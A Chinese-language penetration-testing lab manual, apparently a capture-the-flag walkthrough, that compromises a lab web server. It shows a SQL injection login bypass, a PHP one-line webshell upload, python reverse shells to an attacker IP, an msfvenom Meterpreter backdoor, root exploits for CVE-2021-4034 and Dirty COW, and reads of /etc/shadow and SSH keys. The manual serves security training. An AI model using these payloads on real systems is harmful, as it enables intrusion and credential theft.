准备
需要一台防火墙、web服务器、DB服务器、OA服务器、WinServer、PC机和一台攻击机(如kali)
网络适配器设置
1.防火墙:需要4个适配器
第一个适配器选择NAT模式
适配器2的子网IP为:192.168.1.0
适配器3的子网IP为:192.168.110.0
适配器4的子网IP为:192.168.223.0
2.Web服务器适配器选择自定义3: 192.168.110.0
3.DB、OA、WinServer都选择适配器4: 192.168.223.0
4.PC选择适配器2: 192.168.1.0
5.攻击机(kali):NAT模式
第一阶段:信息收集
1.扫描
(a.)得到靶机ip后使用nmap工具对靶机进行常见端口及端口服务版本扫描
代码
nmap -sV 172.16.197.177
结果图

(b.)扫描后发现靶机开放80端口,且所使用的中间件Apache在该版本中无通用漏洞,故使用浏览器访问靶机ip进入公司首页,在探索网站后发现存在后台登录页面


2.sql注入
(a.)根据提示及查看源码得知该页面方式为前端JS判断是否输入正确邮箱

(b.)尝试使用常用弱口令登录无果后尝试对该登录框使用SQL注入万能密码' or 1=1 --绕过登录,得到只能使用邮箱

(c.)打开 BurpSuite 抓包软件,在Decoder模块中将' or 1=1 --编码为URL编码

(d. )回到BurpSuite中的Proxy模块,确认拦截流量包的按钮是否处于开启状态

(e.)浏览器输入正确格式的邮箱以及任意密码,点击发送,观察BurpSuite是否拦截到请求数据包,如没有,请重新检查前几步是否设置正确

(f.)将拦截到的请求中email参数对应的值修改为SQL注入万能密码进行URL编码后的值后放行请求数据包,返回浏览器发现登录成功


3.文件绕过
(a.)在登录成功后对目标网站进行信息搜集后,发现管理员邮箱地址与用户管理页面存在头像上传点
这时可利用一句话木马,进行上传
创建muma.php脚本文件
nano muma.php写入一句话木马,并保存
<?php eval($_POST['cmd']); ?>如图:

(b.)利用BurpSuite在上传过程中修改MIME类型为image/png


(c.)在BurpSuite Proxy模块中的HTTP history中寻找上传成功后是否返回上传到的路径

(d.)在浏览器中访问找到的头像目录,发现存在admin.php文件,确认上传成功

(e.)在kali中使用一句话木马,进行连接上webshell,进行信息收集
一句话木马查看id
curl -X POST "http://172.16.11.66/avatar/admin.php.png" -d "cmd=system('id');"一句话木马登录数据库并查询用户表
curl -X POST "http://172.16.11.66/avatar/admin.php" -d "cmd=system('mysql -h localhost -u root -pca368418d mainpage -e \"SELECT * FROM users;\"');"反弹shell
curl -d "cmd=system('python -c \"import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'172.16.11.71\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\'/bin/bash\')\"');" "http://172.16.11.66/avatar/admin.php"
第二阶段:提权(二选一)
方法一:利用MSF反弹shell提权
1.liunx提权信息收集
(a)使用linux-exploit-suggester脚本进行信息收集,知道已知的内核漏洞数据库,明白哪些存在可利用的权限漏洞
源代码:
在 Kali 上(新开一个终端),进入脚本所在目录并启动 HTTP 服务
cd /home/kali/Desktop
python3 -m http.server 8080在目标服务器的反弹 Shell 中,下载脚本
wget http://攻击机IP:8080/linux-exploit-suggester.sh步骤图:


(b)上传成功后,给脚本添加执行权限并运行:
chmod +x linux-exploit-suggester.sh
bash ./linux-exploit-suggester.sh执行结果图:

CVE 是什么?
CVE(Common Vulnerabilities and Exposures,通用漏洞和暴露)是一个公开的漏洞编号系统。每个被发现的安全漏洞都会被分配一个唯一的 CVE 编号,格式为 CVE-年份-编号
比如 CVE-2021-4034 表示这个漏洞是在 2021 年被编目的,编号为 4034。通过 CVE 编号,安全人员可以在全球范围内准确地引用和讨论同一个漏洞
2.利用MSF生成后门
Metasploit Framework(简称 MSF)是世界上最流行的渗透测试框架。它集成了大量的漏洞利用代码(Exploit)、后门载荷(Payload)、辅助模块等,是渗透测试工程师的核心工具之一。
MSF 的组件非常多,我们这里只用到其中两个:
msfvenom:用于生成各种格式的后门载荷(Payload)
msfconsole:MSF 的主控制台,用于启动监听、管理会话等
(a)在kali攻击机上利用msfvenom生成后门
执行代码:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=5656 -f elf -o backdoor结果图:

msfvenom启动 MSF 监听是 MSF 的载荷生成工具。你可以把它理解为一个”后门制造机”——你告诉它目标的操作系统、架构、回连地址和端口,它就会帮你生成一个可执行的后门程序参数解析:

3.启动 MSF 监听
(a)在 Kali 上打开一个新的终端标签,启动 MSF 控制台:
执行代码:
msfconsole执行结果图:

(b)命令配置监听代码:
使用多重处理器(multi/handler)模块
msf > use exploit/multi/handler设置载荷类型(必须和 msfvenom 生成时使用的一致)
msf exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp设置监听地址(这里直接填 Kali 的 IP)
msf exploit(multi/handler) > set LHOST 攻击机IP设置监听端口(必须和 msfvenom 中的 LPORT 一致)
msf exploit(multi/handler) > set LPORT 5656启动监听
msf exploit(multi/handler) > run执行结果图

4.backdoor投递
(a)使用webshell的临时反弹shell
执行代码
python3 -m http.server 8080在目标服务器的反弹 Shell 中上传
wget http://攻击机IP:8080/backdoor添加权限
chmod +x backdoor执行backdoor(执行之前先在MSF启动监听)
nohup ./backdoor结果图:

5.通过 Meterpreter 提权
(a)准备提权代码
在 Kali 攻击机上,你需要准备好 CVE-2021-4034 的利用代码压缩包。这个代码可以从 GitHub 获取:
https://github.com/berdav/CVE-2021-4034(b)通过 Meterpreter 上传
这里就体现出 Meterpreter 相比普通反弹 Shell 的优势了——它内置了文件上传功能,不需要再绕道 HTTP 服务器
在 Meterpreter 中直接执行 upload 命令:
meterpreter > upload /home/kali/Desktop/CVE-2021-4034-main.zip看到以下黄色高亮部分结果代表上传成功
[*] Uploading : /home/kali/Desktop/CVE-2021-4034-main.zip -> /tmp/CVE-2021-4034-main.zip
[*] Completed : /home/kali/Desktop/CVE-2021-4034-main.zip -> /tmp/CVE-2021-4034-main.zip
6.编译并执行提权程序
(a)进入系统shell
从 Meterpreter 切换到普通的系统 Shell,因为编译和执行操作在普通 Shell 中更方便:
执行代码:
meterpreter > shell结果图:

(b)解压提权代码
执行代码:
unzip CVE-2021-4034-main.zip结果图:

(c)解压后进入目录:
执行代码
cd CVE-2021-4034-main结果图:

7.编译提权程序
什么是 make 和 Makefile?
当一个程序由多个源代码文件组成时,手动一个一个编译太麻烦了。
Makefile就是一个”编译说明书”,里面写好了编译的步骤和依赖关系。make命令读取这个说明书,自动完成整个编译过程你可以把
Makefile想象成一份菜谱,make就是按照菜谱自动做菜的机器人
执行代码:
make结果图:

(c)编译成功后,用ls确认生成文件:

8.执行提权
执行代码:
./cve-2021-4034输入
id验证身份,查看是否提权成功:

9.获取 root 下的 flag
(a)用find命令搜索 flag 文件:
执行代码
find / -name "*flag*" 2>/dev/null(b)在大量输出中,我们能看到两个关键结果:
结果
/var/www/html/flag.txt
/root/flag.txt(c)读取 root 目录下的 flag:
执行代码
cat /root/flag.txt结果图:


10.提权后的信息收集
拿到 root 权限后,之前受限的信息现在都可以收集了:
读取 shadow 文件(包含所有用户的密码哈希)
cat /etc/shadow查看 SSH 配置和密钥
ls -la /root/.ssh/
cat /root/.ssh/authorized_keys查看所有用户的 bash 历史记录
cat /root/.bash_history
cat /home/*/.bash_history查看网络配置的完整信息
iptables -L -n查看所有监听的端口
ss -tlnp这些信息中可能包含其他系统的密码、SSH 密钥等关键凭证,对后续的横向移动非常有价值
方法二:利用python反弹shell提权
使用普通的反弹shell来完成对脏牛漏洞的提权,因此需要构建一个反弹shell的payload,经过考虑采用python所构建的漏洞,但是一般CentOS 6不一定装有python,所以需要先测试一下
执行代码
curl -d "cmd=system('which python');" "http://172.16.197.177/avatar/admin.php"结果图

构建一个python的反弹shell的payload
执行代码
# 输入指令
curl -d "cmd=system('python -c \"import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'172.16.197.180\',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\'/bin/bash\')\"');" "http://172.16.197.177/avatar/admin.php"
#在向靶机发送 反弹shell Payload 之前,必须确保kali已先开启对 4444 端口 的监听状态
nc -lvpp 4444结果图

成功获得交互式shell,就可以进行脏牛漏洞源码的投递,在kali机器上选择查询漏洞列表
执行代码
#输入指令
searchsploit dirty cow结果图
kali上新开一个会话

EDB-ID: 40839 (Dirty COW – 修改 /etc/passwd),EDB-ID: 40616 (Dirty COW – 覆盖 SUID 文件),选用EDB-ID: 40839 漏洞源码,该漏洞利用程序通过直接篡改
/etc/passwd文件来实现提权,可以直接获得root权限
执行代码
#输入指令
#下载源码
searchsploit -m 40839结果图

此时下载出来的文件,我们可以选择查看它的源代码,收集是否有需要的内容
执行代码
cat 40839.c结果图

把源码投递给靶机,就先在kali上利用python3内置的
http.server模块特性临时构建一个轻量级web服务器,进行文件共享,让靶机可以通过这个轻量web服务器下载源码
#搭建web服务器(在kali上输入)
python3 -m http.server 80
#下载源码(在靶机上输入攻击机IP)
wget http:172.16.197.180/40839.c 结果图

在靶机上成功发现下载了40839源码,就进行下一步编译和执行编译后的脚本,但是执行前要添加执行权限
执行代码:在靶机上输入
#编译
gcc -pthread 40839.c -o dirty -lcrypt
#添加执行权限
chmod +x dirty
#执行脚本
./dirty结果图

登录拥有root的用户,成功拿到root权限,就要进行配置回滚,防止出现系统错误,然后以root权限进行查找flag.txt
执行代码
# 登录拥有root的用户
su firefart
#配置回滚
mv /tmp/passwd.bak /etc/passwd
#查询flag
find / -name "flag*"
#查看flag
cat flag.txt结果图

法律声明
警告:本实验手册中的技术仅供安全研究和授权测试使用。未经授权在他人系统上使用这些技术属于违法行为,可能导致严重的法律后果。
请确保:
仅在自有系统或获得明确书面授权的系统上进行测试
了解并遵守所在地区的法律法规
负责任地使用所学知识,遵守职业道德规范